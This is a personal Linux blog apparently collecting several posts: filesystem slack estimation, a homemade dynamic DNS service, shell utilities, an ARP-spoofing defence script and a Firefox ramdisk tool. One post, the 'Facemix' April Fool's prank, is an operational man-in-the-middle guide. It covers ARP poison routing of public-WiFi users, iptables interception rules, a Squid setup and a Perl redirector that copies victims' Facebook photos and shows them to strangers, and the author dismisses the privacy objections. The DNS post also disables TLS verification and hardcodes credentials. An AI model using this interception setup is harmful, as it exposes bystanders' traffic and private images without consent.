Smörgåsbord

I wanted to know whether I could use some tricks to make more efficient use of the 4GB Compact Flash storage i have in my Alix (running Gentoo Linux). I would like to keep a local portage tree on it — it currently mounts the tree over NFS due to space concerns.
Why no harddisk? Because that goes against the idea of having a small, reliable, always-on, energy-efficient home server.
Techies like pictures of hardware with the cover off so here’s my Alix:

Such a setup can lead to unfortunate situations, such as needing a package to restore connectivity to the network on which the fileserver resides that contains the package that I need to restore connectivity to the network on which… see where I’m going? Nowhere! ;-)
The portage tree fulfills the role of a package database for us Gentoo ricers. I need it locally.

Diego, one of the Gentoo devs, wrote a blog post about space inefficiency incurred through the use of many small files in the portage tree. He puts the Portage tree on different filesystems to arrive at an accurate and detailed picture of incurred overhead.

I wanted to quickly find out what filesystem block size would suit different parts of my filesystem (such as /etc/, /usr/src/linux/, /usr/portage/, /var/db/pkg/) best, and how much I could save. Testing all block sizes with all parts of my FS was not very appealing, so I decided to simply calculate the file slack and wrote this simple Python script:

slacktastic.py

#!/usr/bin/env python3
 
"""
slacktastic.py - calculate filesystem file slack for different block sizes.
Invoke me thusly:
    find /path/to/tree -xdev -type f -printf "%s\\n" | slacktastic.py 4096
for a calculation using the contents below /path/to/tree with a block size of 4096 bytes.
"""
 
import sys, functools, math
 
blksz = None
try:
  blksz = int(sys.argv[1])
except (IndexError,ValueError):
  print(__doc__, file=sys.stderr)
  print('I need a blocksize as the first argument.\n', file=sys.stderr)
  sys.exit(1)
 
sizes = [int(strsize) for strsize in sys.stdin.read().strip().split('\n')]
 
sumslack = functools.reduce(lambda sumslack, sz: sumslack + (blksz - (sz % blksz)), sizes, 0)
sumblks = functools.reduce(lambda sumblks, sz: sumblks + (math.ceil(sz / blksz)), sizes, 0)
sumsizes = sum(sizes)
 
print('{:n} total slack'.format(sumslack))
print('{:n} bytes in files'.format(sumsizes))
print('{0:n} total blocks of {1} bytes'.format(sumblks,blksz))
 
print('{:.2%} inefficiency'.format( sumslack / (sumblks*blksz) ))

This doesn’t take into account things such as tail packing (à la ReiserFS), compression (Btrfs), or directory slack. Just file slack.
On my laptop filesystem, with a 4096 block size, this leads to the following observation:

find /var/db/pkg -xdev -type f -printf "%s\n" | slacktastic.py 4096
171942364 total slack
92655140 bytes in files
64506 total blocks of 4096 bytes
65.08% inefficiency

My /var/db/pkg, Gentoo’s ‘database’ of installed packages (containing their build environment and all kinds of stuff you wouldn’t need on a binary distro) contains 65% air! That’s 170 megs of waste which I don’t want that on my Alix’s 4GB CF card. With a 1024 byte block size — Ext4’s minimum — the situation is better, but it’s still over 40 megs of hot air.

I ended up choosing btrfs with compression. It has a fixed 4096 byte leaf/node size but it does tail packing (good for small files) and compression (for my /var/log). My script is useless for estimations on such a filesystem so I ran some actual tests and it turns out I can fit my /usr/src/linux, /var/db/pkg, /var/log and /usr/portage on a 1GB btrfs filesystem. They didn’t fit on an bs=1024b Ext4 FS.

For a little while I’ve been running a DIY dynamic DNS service. My peers think it’s convenient and pretty sweet, so in this post I’ll set things straight — a full disclosure on the mess that it really is ;-)

What is a dynamic DNS service?

Since the dial-up days of yore I have occasionaly been using “dynamic DNS” services. What is a “dynamic DNS” service, you ask? Well, it’s a marketing term, not a technical term, but most providers of such services allow for having some CNAME or A record point to an IP, and this pairing is updatable over HTTP. Usually they use a freemium business model where you can get a couple of subdomains on their second level domains.

Why use one?

An example of a use case: You run a development server on your laptop. You want someone to connect to it. Instead of saying to this person “now just go to… errr… hold on” (and now you pop your shell and run ip a s dev wlan0)¹ “yes I’m back, you need to go to 110.34.56.250″ you can just say “go to kleinebeer.ath.cx”. Much easier. And that’s with IPv4. Typing an IPv6 address that someone just yelled at you from across the room is an even less joyful experience.
To enable this use case you configured your machine in such a way that every time your interface aquires a new IP, a program contacts the “dynamic DNS service” to update the ‘kleinebeer’ DNS record to reflect this IP. There are many clients for such services out there. I have even seen domestic ADSL modem/routers on which the factory firmware contains such a client.

Doing it differently

But some time ago I got fed up with all the “account expiration warning” emails I had been getting from the service that I used. And since I’m quite familiar with the components you need for building such a service yourself, I set out to do so. The thing I ended up with is for personal use, specific to my needs, KISS, and sinful.

Sins!

It allows for instant creation/updating of DNS records through a very simple HTTP GET. That is sinful for two reasons:

1. No authentication and authorization.

   Anyone can create any record. And anyone can update any record he or she knows the name of. You understand how this could be a bad thing. Don’t have such names as MX records unless you don’t mind that mail intended for you ends up on someone else’s server.
   At the same time it is a good thing, as I will show in the use case example below.

2. The HTTP GET alters state.

   And that’s just plain Bad Taste. If you’re designing a web service you’ll usually try to make it RESTful. GET should be a safe method. But for this application, at the frontend, it is actually desirable — because grandma can GET, as you will see in the use case below.

Use cases

• Case A:

  Imagine you’re on the phone with your grandma, and after discussing apple pie recipes something else comes up and you need to know her IP (let’s say you need to SSH in and help her with her crontab). She hasn’t registered with any dynamic DNS service, she has a hard time determining her IP, she has a hard time reading it out loud without making mistakes, and you are fed up with typing IPs anyway. But she has a web browser. Wouldn’t it be nice if you could just tell her to open her browser and head over to http://grandma.reg-a-record.tld/reg.php ? Nothing to install, nothing to look up, and something reasonably simple for grandma to do. The script on http://grandma.reg-a-record.tld/reg.php creates a DNS A record named ‘grandma’ on dyndomain.tld, and this record points to your grandma’s IP. Now you can just do ’ssh grandma.dyndomain.tld’.

• Case B:

  Imagine you and your friends are on a coding binge, all running their Django/Rails/Node.js/Thing-du-jour instances on laptops, in the same room, and you all want to connect to each other’s development servers.
  You could all call out your IPs across the room and let everyone type in everyone else’s IPs. Now you all have N tabs open in your browsers. Who was 123.231.101.45 again?
  Or, everyone could just point their browser (or curl, wget…) to http://theirfirstname.reg-a-record.tld/reg.php² and be done with it. If you want to view Fred’s progress you just go to fred.dyndomain.tld.

So, sin #1 & #2 allow for use cases that were not possible with the provider I was using.

You don’t have to register the records up front with some service provider. You can make up records as you go, and you want to be able to let anyone create any record. Hence sin #1. But it’s a good thing. You don’t have to reuse records, which is better for your privacy. With the commercial service I could only use a couple of names, so anyone whom I once had told to go to kleinebeer.ath.cx could kinda virtually follow me around and determine whether I was at work, home, uni or girlfriend by resolving this record. When creating new records is incredibly easy, there’s no reason to keep using the same name every time.

On to the code

It’s very, very simple! You need very little code. Things can be made much simpler than I have done. For byzantine reasons I use two webservers, one has a python CGI which creates the actual records, and the other one runs the public-facing PHP script (through mod_php) which you actually connect to.

DNS server

You need a domain for which you run the authoritative name server. I’m using the SheerDNS DNS server package on mine, for no good reason. Here’s a patch I made so that sheerdnshash creates directories with some group permission bits set, something I need in my setup.
You can use other DNS servers, of course. I discovered that the Unbound DNS server has a socket protocol which you can possibly use to add records on the fly. But I use sheerdns now, and here’s a Python module I made to write A-records in sheerdns’s directory structure. Public domain, use it as you see fit. You need to modify the constants to reflect your config, and you can test it by running the module from a shell.

#!/bin/env python
 
import socket,os,string,subprocess,sys
 
SHEERDNS_DIR="/var/sheerdns"
SHEERDNS_HASH="/usr/sbin/sheerdnshash"
DYNDOMAIN="dyndomain.tld"
ALLOWCHARS=string.ascii_letters + ''.join([ "%d" % i for i in range(10)]) + '-'
 
def mk_A(name,ip):
	#are host and ip allright?
	host = ''.join([ c for c in name if c in ALLOWCHARS ]).lower()
	if not host:
	  return None
	try:
	  socket.inet_aton(ip)
	except socket.error:
	  return None
 
	fqdn = "%s.%s" % (host, DYNDOMAIN)
 
	#set the umask
	oldumask = os.umask(0002)
 
	#get the hash
	hash = subprocess.Popen([SHEERDNS_HASH, fqdn], stdout=subprocess.PIPE).communicate()[0].strip()
 
	#construct the dirpath
	path = os.path.join(SHEERDNS_DIR,hash,fqdn)
 
	#chmod it for everyone to read
	os.chmod(path,0755)
 
	#construct the A-record-filepath
	apath = os.path.join(path,'A')
 
	#open the record file
	with open(apath,'w') as record:
		record.write(ip)
 
	os.umask(oldumask)
	return name
 
if __name__ == '__main__':
        if len(sys.argv) == 3:
          print(mk_A(sys.argv[1],sys.argv[2]))

Web ’service’ to create the records: a CGI

This is a Python CGI which uses the above module. I stick it behind HTTP Basic authentication which is handled by the web server. You call it like this: http://server_that_has/the_CGI?name=therecordname&ip=theip .
There’s no reason that this CGI should be guilty of Sin #2, except laziness on my behalf. If I’d be following every convention even for silly little solo projects I’d never get anything done, all right?
It doesn’t propagate any errors from the sheerdns library, but it prints the name as it is registered — stripped of disallowed characters, or nothing if something failed along the way (invalid IP, for instance).

#!/usr/bin/python
import sheerdns
import cgi
 
print "Content-type: text/plain\n\n";
params = cgi.parse()
name, ip = params.get('name'), params.get('ip')
 
if ip and name:
  dnsname = sheerdns.mk_A(name[0],ip[0])
  print dnsname

The accessible part: reg.php

This is in PHP. It lives in the default virtual host of my Apache config, and for good reasons. I have a CNAME record that points *.reg-a-record.tld to this web server. I then use whatever is in * to construct the name for the dyndomain.tld-record. The wildcard record is essential.
You need to modify this script to reflect your config.

<?php
header('Content-Type: text/plain');
$hostparts = explode('.', $_SERVER['SERVER_NAME'], 2);
$ip = $_SERVER['REMOTE_ADDR'];
print $ip;
 
$cha = curl_init('https://server_that_has/the_CGI?name='.$hostparts[0].'&ip='.$ip);
curl_setopt($cha, CURLOPT_SSL_VERIFYPEER, False);
curl_setopt($cha, CURLOPT_TIMEOUT, 5);
curl_setopt($cha, CURLOPT_RETURNTRANSFER, True);
curl_setopt($cha, CURLOPT_USERPWD, 'bite:me');
$resp = curl_exec($cha);
curl_close($cha);
print($resp);
?>

Presto

If you visit http://kitten.reg-a-record.tld/reg.php, the IP address that the web server sees you coming from gets registered as kitten.dyndomain.tld. If everything went well, the script responds with this mapping.
You could set DirectoryIndex reg.php here, or rename reg.pgp to index.php, if you don’t want users to type ‘reg.php’. I did make it explicit, because web sites on this server come and go and I don’t want people to stumble onto reg.php every time they hit the default vhost because their web site doesn’t exist any more.

1)Let’s assume you’re not NATed.
2)Try to only have friends with distinct names that can be expressed in ASCII.

While decrufting my homedir I found some scripts that might be of public* interest ­— either because of their amusement value, or their utility ;-)
Some are so tiny that you’d actually be better off just defining them as functions in your ~/.{ba,z}shrc .

*) For unixoid values of ‘public’.

groe

Open a file (argument 2) in joe (works with vim, too) with the cursor on the first line matching the regex in argument 1.

#!/bin/bash -eu
THEL=$(grep -m 1 -n ${1} ${2} | cut -d ':' -f 1)
[ -n "$THEL" ] && joe +$THEL $2

paserv

Set pulseaudio server (in X11, for display in $DISPLAY env var) to argument 1. Useful if you use several pulseaudio network audio servers. Without arguments, resets to default.

#!/bin/bash
if [ -n "${1}" ]; then pax11publish -e -S ${1}
else pax11publish -e -r; fi

gmrun

Wrapper launcher for the excellent “gmrun” program launcher. (queue “yo dawg” meme).
Raises and/or pulls any existing gmrun windows to your current desktop.

#!/bin/bash
/usr/bin/wmctrl -x -b add,raise -R "gmrun.Gmrun" || PATH="/home/boer/bin:$PATH" /usr/bin/gmrun

getx

Get an X11 authorization cookie for a display on some other host, over SSH.

#!/bin/bash
if [ -z ${1} ]; then
	echo "Usage: $(basename ${0}) sshstanza"
	echo ""
	exit 2
fi
 
SSH=${1}
XHO=${1##*@}
DIS=${2-":0"}
 
ssh ${SSH} "xauth list ${XHO}${DIS} | sort -u" | while read line; do xauth add ${line}; done

gaap

Ghetto power management. We don’t need no stinkin’ gnome-power-manager, we’ll just grep our keyboard/trackpad interrupt counter thankyouverymuch (I got that idea from reading the xscreensaver man page).
Comes in two parts.
is_user_alive:

#!/bin/bash -eu
#Succeeds if keystrokes or touchpad input has taken place since last time this was run, or if there is no record of the last run.
 
RECORD=${1:-/dev/shm/i8042_intcnt}
 
RETVAL="1"
 
upd_intcnt() {
  grep i8042 /proc/interrupts > ${RECORD}
}
 
is_alive() {
  grep i8042 /proc/interrupts | diff - ${RECORD} > /dev/null 2>&1 || RETVAL=0
}
 
[ ! -f ${RECORD} ] && upd_intcnt && exit 0
is_alive
upd_intcnt
exit $RETVAL

Run this one (gaap.sh) from cron:

#!/bin/bash -eu
 
misschien_slapen() {
  test -f /tmp/koffie || on_ac_power || echt_slapen
}
 
echt_slapen() {
  /usr/local/sbin/is_user_alive /dev/shm/gaap_alive || true
  echo -e "Hibernating in 30 secs, unless you prove you're alive by pressing\na key or touching the touchpad. Physically. On ${HOSTNAME}." | wall
  for sec in `seq 0 3 99`; do echo $sec; sleep 1; done | DISPLAY=":0" XAUTHORITY="/home/boer/.Xauthority" sudo -u boer zenity --progress --auto-close --text "hibernate?" || exit 0
  /usr/local/sbin/is_user_alive /dev/shm/gaap_alive || /usr/sbin/pm-hibernate
}
 
/usr/local/sbin/is_user_alive /dev/shm/gaap_alive || misschien_slapen

You might want to install zenity, and you’ll have to adjust the username. As you can see my laptop is a single-user system. The sudo is therefore a bit silly, but hey, it’s good practice to not present privilege escalation attack surfaces to yourself ;-)
I still need to find a good way of iterating over all X11 displays and finding the user who started the associated X server. Does anyone know of a not-too-hackish approach?

Aphorism slideshow

/^%$/d
s/"\([^"]*\)"/“\1”/g

and then did this. Which, the better part of a year later, proves quite hard to reverse-engineer:

for CATG in art definitions education fightclub food hitchhiker humorists kids literature love medicine men-women news paradoxum pets platitudes politics science smac strangelove wisdom work; \
do mkdir /home/boer/tmp/fortunes/$CATG; cd /home/boer/tmp/fortunes/$CATG; \
csplit -q -z /usr/share/fortune/$CATG '/%/' '{*}' ; for f in /home/boer/tmp/fortunes/$CATG/*; \
do cat $f | sed -f /home/boer/tmp/fortunes/str2cu.sed | fmt -w 2500 | tr -s '\t' | expand -t 2 > /tmp/fortune; \
mv /tmp/fortune $f; done; find /home/boer/tmp/fortunes/$CATG/ -type f -size +200c -exec rm '{}' \; ; \
for f in /home/boer/tmp/fortunes/$CATG/*; do convert -background pink -fill white -size 480x234 \
-stroke black -gravity Center -font Essays1743-Bold caption:@$f $f.jpg; done; done

GNU textutils are fun… but holy cow. What an obtuse kludge.
A simple python script could have done all the work up until the image generation (which is done with imagemagick, it has a nice auto text scaling feature, did you know?).

It’s not too late for posts about April Fool’s Day pranks I hope?
In the tradition of the Upsidedownternet this April 1st I had some fun with Facebook addicts.

You may not be aware of the fact that any picture on facebook is publicly accessible. Yes, it is. There’s no authentication & authorisation whatsoever. Handling those in a scalable way would ramp up costs. Your privacy is not worth those costs. Contrary to the impression you are trying to deliver through your profile, you are not important. Happy shareholders are important!

Due to this fact I just need to know the URLs of your pictures. From the URL I can determine whether it’s a profile picture, profile picture thumbnail, photo, photo thumbnail, etc.

Wouldn’t it be fun to mix the pictures of the facebook page you are currently viewing with those from facebook pages others are viewing? So when you’re browsing your friend’s albums, you not only see his pictures but pictures from other peoples’ albums too, and vice versa?
The pictures may be requested by the guy across the bar, or by the girl one floor down in the library, or by anyone on the same network as you are — all of you are browsing together with the people in your physical vicinity, sharing whatever pictures you encounter! It’s beyond Facebook. It’s crowdbrowsing. It’s Megafacebook.
While you may not know these newly inserted friends, you might get to. Maybe you bump into one another at the toilets, or at the counter.
“Why is everyone staring at me like that?” you naively wonder. (They’ve seen those pictures).
“Does she know that I know about those pictures of her and her friends? But wait… what might she know about me?”, your paranoid mind ponders.
It’s all about what you think of others and what others think of you. Total absorption. Now that’s what I call social networking. All hail Facebook Social!

Give the wifi crowd at your local coffeeshop the pleasure of learning a little bit more about eachothers lives and friends.

Get to work

You need:

• one network vulnerable to ARP poison routing (that’s most of them) or one network which you already control anyway. Make everyone route their traffic through your machine.
• one installment of the Nginx web server, configured with --with-http_random_index_module. I use the 0.8.3x series.
• one installment of the Squid http proxy server. I use the 3.1 series.
• Perl and LWP::Simple.

Set up Nginx

Create some directories to hold the images:

mkdir /var/www/facemix/{albums,photos,photosthumb,smoelen,smoelenthumb}

Tell Nginx to respond to requests for those directories by randomly serving one of the files in them:

location ~ ^/facemix/([^/]+)(/?.*)$ {
alias /var/www/facemix/$1/$2;
random_index on;
expires -1;
}

You need the ‘expires -1′ to avoid caching. If proxies or user agents were to cache the results, they wouldn’t be very random anymore now would they.

Stick some files in there and test your installation.

Set up Squid

Set up squid in interception mode. If you’re not NATting the routed traffic, set it to run on port 80. If Nginx is already listening on that socket, make Nginx listen on some other port, or localhost only, while running squid on port 80 but only on the external interface.

Set up networking

This is for iptables.

• You’re NATting the pwned hosts. Run something along the lines of
  iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 80 -j REDIRECT --to-port 8080
  to redirect all traffic incoming on $INTERFACE and destined for port 80 to port 8080, which is where you need squid to listen on.
• You’re doing 2-way ARP poisoning (cheers!). Run something along the lines of
  iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j DNAT --to-destination $YOURIP
  Squid needs to run on port 80 on interface with IP $YOURIP.

Check Squid’s logs to verify that requests are intercepted successfully.

Run the redirection script

I don’t touch Perl very often, and cobbling together this script made me remember why that is. It’s very usable as a means of frightening little kids.
In a nutshell, what my redirector script does is

1. determine whether the URL fed to it by Squid is a facebook picture url;
2. if so, and if we don’t have that picture yet, fork off to download it;
3. point Squid to a random picture of the same type (served by Nginx).

I like the forking. I dislike the iffed regexes which could probably be condensed into one but then it wouldn’t be ‘cobbling together’ anymore.

Adjust the variables for your setup and tell Squid about the script (eg url_rewrite_program /usr/local/lib/facemix-squidredir.pl).

The Facebook logo will change to reflect the fact that the users are now browsing facebook in Social! mode.

One further note: This is privacy-invasive. I brush away my moral doubts by stating that anyone who signed away their privacy rights when joining facebook AND AT THE SAME TIME entertains any expectations with respect to privacy,
« inhale »
… is utterly mental and has completely lost any and all sense of proportionality. If you care about privacy, why use a service which lets you view any picture of any user regardless of who you are? Who are you kidding?

If you’re still reading, here’s the script:

#!/usr/bin/perl -w
 
use LWP::Simple;
 
$WEBROOT = 'http://localhost/facemix/';
$WEBDIR = '/var/www/facemix/';
$CHANCE = 5; #One in X requests gets mixed
$SIG{CHLD} = 'IGNORE';
 
$|=1;
while (<>) {
    local @reqfrags = split(/ /, $_);
    local $url = @reqfrags[0];
 
    if    ($url =~ /(^http:\/\/.*.fbcdn.net\/rsrc.php\/z7VU4\/hash\/66ad7upf.png$)/) {
        print "http://smormedia.gavagai.nl/2010/04/FacebookSocial2.png\n";
    }
    elsif    (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_n.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/n.*.jpg$)/)) {
        &mixurl('photos/',$url);
    }
    elsif (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_s.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/s.*.jpg$)/)) {
        &mixurl('photosthumb/',$url);
    }
    elsif (($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/.*_n.jpg$)/) || ($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/n.*.jpg$)/)) {
        &mixurl('smoelen/',$url);
    }
    elsif (($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/.*_q.jpg$)/) || ($url =~ /(^http:\/\/profile.*.fbcdn.net\/.*\/q.*.jpg$)/)) {
        &mixurl('smoelenthumb/',$url);
    }
    elsif (($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/.*_a.jpg$)/) || ($url =~ /(^http:\/\/photos-.*.fbcdn.net\/.*\/a.*.jpg$)/)) {
        &mixurl('albums/',$url);
    }
 
    else
    {
        print $url."\n";
    }
}
 
sub mixurl {
    #args: subdir, url
    local $vork = fork();
    if ($vork == 0) {&getit($_[0], $_[1]);}
    if (int(rand($CHANCE)) == 0) {
      print $WEBROOT.$_[0]."\n";
    }
    else {
      print $_[1]."\n";
    }
}
 
sub getit {
    #args: subdir, url
    local $storedir = $WEBDIR.$_[0];
    local @urlfrags = split(/\//, $_[1]);
    local $fname = pop(@urlfrags);
    if (!stat($storedir.$fname)) {
      getstore($_[1],$storedir.'._tmp-'.$fname);
      rename($storedir.'._tmp-'.$fname, $storedir.$fname);
    }
    exit;
}

There are times you need to connect to ‘dirty’ networks such as public WiFi hotspots. Hopefully you’re ensuring that sensitive information is encapsulated in transport layer security enabled protocols such as SSL, because anyone on the same link (in the case of WiFi, that’s the air surrounding you. A vacuum will do, too, but that’s less common) can listen in on the traffic you’re sending. With SSL encapsulation such as HTTP over SSL (https://), your traffic can still be read — but for those who do it’s an extremely boring read because they don’t know the session key, only you and the other endpoint do. Hopefully.

One particularly nasty thing that can happen to you is when your machine is subverted into using the attacker’s machine as the router. That is known as ARP poison routing. The attacker can proceed to not only read the traffic coming from your machine (which, on a shared medium, could be done anyway), or read the traffic going into your machine (again: on a shared medium, that could be done anyway), but the attacker can now also modify the traffic between you and the rest of the non-local network, e.g., the internet, in both directions. And that’s when he can really go to town with your traffic. Injecting a javascript keylogger into all the webpages you visit. ‘Sidejacking‘ your sessions, so he does not even need to know your passwords, just your session cookies — which you happen to transmit with every page request.

All possible unless you use transport layer security, which is tamper-proof once properly set up. Once properly set up. But setting up can have problems of itself — there are ways of preventing you ever going from HTTP to HTTPS. If you know a thing or two about HTTP and SSL you’ll be delighted to learn about Moxie’s very evil but very clever ways of doing so.

Anyway, some level of security can be achieved if you tell your machine to ignore any messages sent to you from the other machines on the local network. That includes messages that will make your machine believe that the router has suddenly changed its physical address — which is quite unlikely to happen, but those messages are exactly the type of message an impersonator would send you. Of course we’d need to whitelist the routers of the network, otherwise we can’t get traffic out of it and onto other networks. DNS resolvers will need whitelisting too, unless you’re running one on your own machine (probably not).
Not openly announcing your presence may also be something you wish for. If you have ever been on a network with a Mac user you have probably seen them popping up in your Zeroconf service browser as “Firstname Lastname’s iSomething”. Let’s cut down on that kind of promiscuity, too. But you should understand now that you can not actually hide unless you turn off your WiFi. Shared medium, remember?

I prepared a simple script to accomplish the above. I’ve used ip from the iproute2 package instead of sticking to old-school route, ifconfig, arp & co. And I must say ip neigh flush nud stale has a poetic ring to it, wouldn’t you agree?

Take note: this will only protect you from some kind of attacks, and only partially. An attacker has a window of opportunity between your machine getting assigned a DHCP lease and you running this script, for instance. Or maybe the access point is rigged. Actually all protection other than end-to-end encryption combined with mutual authentication is pretty useless on shared networks ;-)

Here’s the script. Linux-only. If you want to use it, get the latest version from my public repository.

#!/bin/bash
 
# arpshield 0.2
# Protects against ARP poisoning and cloaks your machine for all 
# local link devices but the router(s) and the DNS server(s).
# Whitelisting DHCP servers also works if you use the dhcpcd program
# to obtain DHCP leases.
# This program is of no help if your setup is already poisoned.
# Have a look at ArpON (http://arpon.sourceforge.net/manpage.html) if
# you need more extensive protection.
#
# Needs 'ip', 'awk', 'sed', 'arptables', and 'arping' and expects
# them on $PATH. Needs appropriate privileges (so use sudo).
# Takes a network interface as an argument. The network interface
# should be up and configured. If no argument is given, clear all
# rules. Obviously you should do that before connecting to a new
# network.
#
# Copyright 2010 Wicher Minnaard (wicher@gavagai.eu)
# License: Creative Commons Attribution-Share Alike 3.0
 
# Do you use dhcpcd for aquiring DHCP leases? And is it running?
dhcpcdLEASEFILE="/var/lib/dhcpcd-${1}.info"
dhcpcdPIDFILE="/var/run/dhcpcd-${1}.pid"
test -f ${dhcpcdLEASEFILE} && test -f ${dhcpcdPIDFILE} && source ${dhcpcdLEASEFILE}
 
# In case you lack the luxury of dhcpcd, where is your resolv.conf?
RESOLV="/etc/resolv.conf"
 
# No user-servicable parts below this line.
DEV="${1}"
 
# I know, I know. But if your routing table contains 0.333.456.789 you have bigger problems ;-)
IPREGEX="\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}"
 
# Register
MACreg=""
 
# If not run as root, bail
[ "$(id -u)" != "0" ] && echo "You need root privileges to modify networking parameters. Exiting." 1>&2 && exit 2
 
getmac(){
# sets MAC register by IP. Sets to nil, if the MAC is not on the local link. 
  getMAC=$(ip neigh show ${1} | awk '{print $5}')
  if [ -z "${getMAC}" ]; then
    arping -c1 -I ${DEV} ${1} > /dev/null 2>&1
    getMAC=$(ip neigh show ${1} | awk '{print $5}')
  fi
  MACreg=${getMAC}
}
 
allow(){
  # Whitelists traffic to and from particular IP+MAC pairings and
  # adds them to static ARP.
  IP=${1}
  MAC=${2}
  if [[ -n "${IP}" && -n "${MAC}" ]]; then
    arptables -A INPUT  -s ${IP} --source-mac      ${MAC} -j ACCEPT
    arptables -A OUTPUT -d ${IP} --destination-mac ${MAC} -j ACCEPT
    ip neigh replace ${IP} lladdr ${MAC} nud permanent dev ${DEV}
  fi
}
 
if [ -n "${DEV}" ]; then
  # whitelist the routers
  test -z ${GATEWAYS} && GATEWAYS=$(ip route show dev ${DEV}| sed -n "s:.* via \(${IPREGEX}\).*:\1:p")
  for GWIP in ${GATEWAYS}; do
    MACreg=""
    getmac ${GWIP}
    allow ${GWIP} ${MACreg}
  done
  # whitelist the DNS servers
  test -z ${DNSSERVERS} && DNSSERVERS=$(sed -n "s:^nameserver \(${IPREGEX}\):\1:p" ${RESOLV})
  for DNS in ${DNSSERVERS}; do
    MACreg=""
    getmac ${DNS}
    allow ${DNS} ${MACreg}
  done
  # if using dhcpcd, we can whitelist the DHCP server too
  test -n ${DHCPSID} && getmac ${DHCPSID} && allow ${DHCPSID} ${MACreg}
  # set default policy to DROP    
  arptables -P INPUT DROP
  arptables -P OUTPUT DROP
  # clear out non-hardcoded ARP cache entries
  ip neigh flush nud reachable
  ip neigh flush nud stale
else
  # No argument given, so clean up.
  arptables -F
  arptables -P INPUT ACCEPT
  arptables -P OUTPUT ACCEPT
  ip neigh flush nud permanent
fi

Just finished up a 0.1 version of a LIRC (Linux Infrared Control) plugin for the Exaile media player. Now you can use your remote with Exaile efficiently. The plugin is in the public repository and is called Lircaile.
I haven’t touched Python much as of yet, but I’m pleased with it: it appears to be a consistent language. Well, here’s my 0.1 effort. I desperately wanted to have some fun with introspection, but I have the feeling the nested exception logic is a bit… unusual.

Update #20110222: Updated the inline code preview below to 0.3.0.

# A LIRC plugin for Exaile. Depends on pylirc from http://sourceforge.net/projects/pylirc/
# Copyright (C) 2009-2011 Wicher Minnaard, http://smorgasbord.gavagai.nl / wicher@gavagai.eu
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
 
import pylirc, logging, threading, select
 
LIRCAILE = None
 
def enable(exaile):
  _enable(None, exaile, None)
 
def _enable(eventname, exaile, nothing):
  global LIRCAILE
  LIRCAILE = Lircaile(exaile)
 
def disable(exaile):
  pylirc.exit()
 
 
class Lircaile():
 
  def __init__(self, exaile):
    self.exaile = exaile
    self.logger = logging.getLogger(__name__)
    sock_fd = pylirc.init('lircaile')
    waitlirc = threading.Thread(target=self.wait_lircevent, args=(sock_fd,), name='Thread-lircaile-waitlirc')
    waitlirc.daemon = True
    waitlirc.start()
 
 
  def wait_lircevent(self,sock_fd):
    while True:
      """Pops all queued signals off of the LIRC queue and hands them to
      handleCode() for further processing."""
      select.select([sock_fd],[],[])
      try:
        [code] = pylirc.nextcode()
        self.handleCode(*code.split())
      except TypeError:
        pass #empty queue
 
 
  def handleCode(self, command, *arg):
    """Takes LIRC signals and uses introspection to try to find appropriate 
    exaile functions to call based on the name of the signal. """
    if (command == 'chvol'):
      self.exaile.player.set_volume(self.exaile.player.get_volume() + float(arg[0]))
    elif (command == 'seek'):
      self.exaile.player.seek((self.exaile.player.get_position()/1000000000) + float(arg[0]))
    else:
      func = None
      # Look for a matching playlist function
      try:
        func = getattr(self.exaile.queue, command)
      except AttributeError:
        # No? Then look for a matching player function
        try:
          func = getattr(self.exaile.player, command)
        except AttributeError:
          # No? Then we're out of options
          self.logger.warning('No function to handle the "%s" LIRC event' % command)
      if callable(func):
        func()

The other day I compiled Firefox 3.5-beta4, and, apart from many improvements, I noticed that I am now affected by the infamous ‘hiccups’. Firefox will stall for seconds at a time on my poor netbook. Details on how this relates to the many fsync() calls made by the persistance layer (SQLite) can be found all over the net.
But I don’t want Firefox to stall and I don’t want to keep my harddisk awake with all these writes when I’m on battery power.
Luckily, both these problems go away if you put your Firefox profile on a ramdisk. There are numerous guides out there that save you from working out the details; I used this one from the Gentoo forums.
The guide uses cron to sync the (presumably) modified contents of the ramdisk – bookmarks, cookies, whatever – back to permanent storage (harddisk). You and I both know that while it’s often convenient to use cron, it’s not always the Right Way of Doing Things®. Why sync if nothing’s changed? I wrote a script that employs the inotify system to do the syncing only when necessary. You’ll find it in the forum thread I linked to earlier, but I post it here “ter lering ende vermaeck”. Depending on your browser there might be a vertical scrollbar at the bottom which lets you read up to the EOL’s ;-)
You can find the latest version at my public repo.

#!/bin/bash
 
# Packfox, a tool to facilitate running Firefox with its profile stored
# in RAM (tmpfs). Copyright 2008-2009 Wicher Minnaard, wicher@gavagai.eu .
# Distributed under the WTFPL, http://smormedia.gavagai.nl/dist/packfox/COPYING
# Latest version available at http://smormedia.gavagai.nl/dist/packfox/
 
 
# Change this to match your profile
PROFILE=$(hostname)
PFDIR="${HOME}/.mozilla/firefox"
# Tar every .. seconds (regardless of changes)
TMOUT="1800"
# But not more often than every .. seconds (regardless of changes)
TMMIN="60"
# Regex for which files not to act on when they're changed.
# Use inotifywait -m -e modify -e move -e create -e delete --exclude '(/Cache/)' -r your_profile_dir
# and watch the output while browsing to determine which regex will be right for YOU.
IEXCL="(.sqlite-journal$)|(\-log.txt$)|(cookies.sqlite$)|(sessionstore\-[0-9].js$)|(/weave/)|(/Cache/)"
# Have you read everything and have you made the necessary adjustments? Then remove the line below ;-)
echo "I should read the README and adjust the script variables before running this." && exit 2
 
 
# No user servicable parts below this line.
TGT="${PFDIR}/${PROFILE}"
 
# Global vars
INOTYPID=""
SLEEPPID=""
PACKLOCK=""
 
# Cleanup function
terminate(){
  # If we are the daemon and we get SIGINTed/SIGTERMed, kill our children
  # and if not already packing, do one last round of packing.
  if [ "$(basename ${0})" == "packfox-daemon" ]
  then
    if [ -n "${INOTYPID}" ]; then kill ${INOTYPID}; fi
    if [ -n "${SLEEPPID}" ]; then kill ${SLEEPPID}; fi
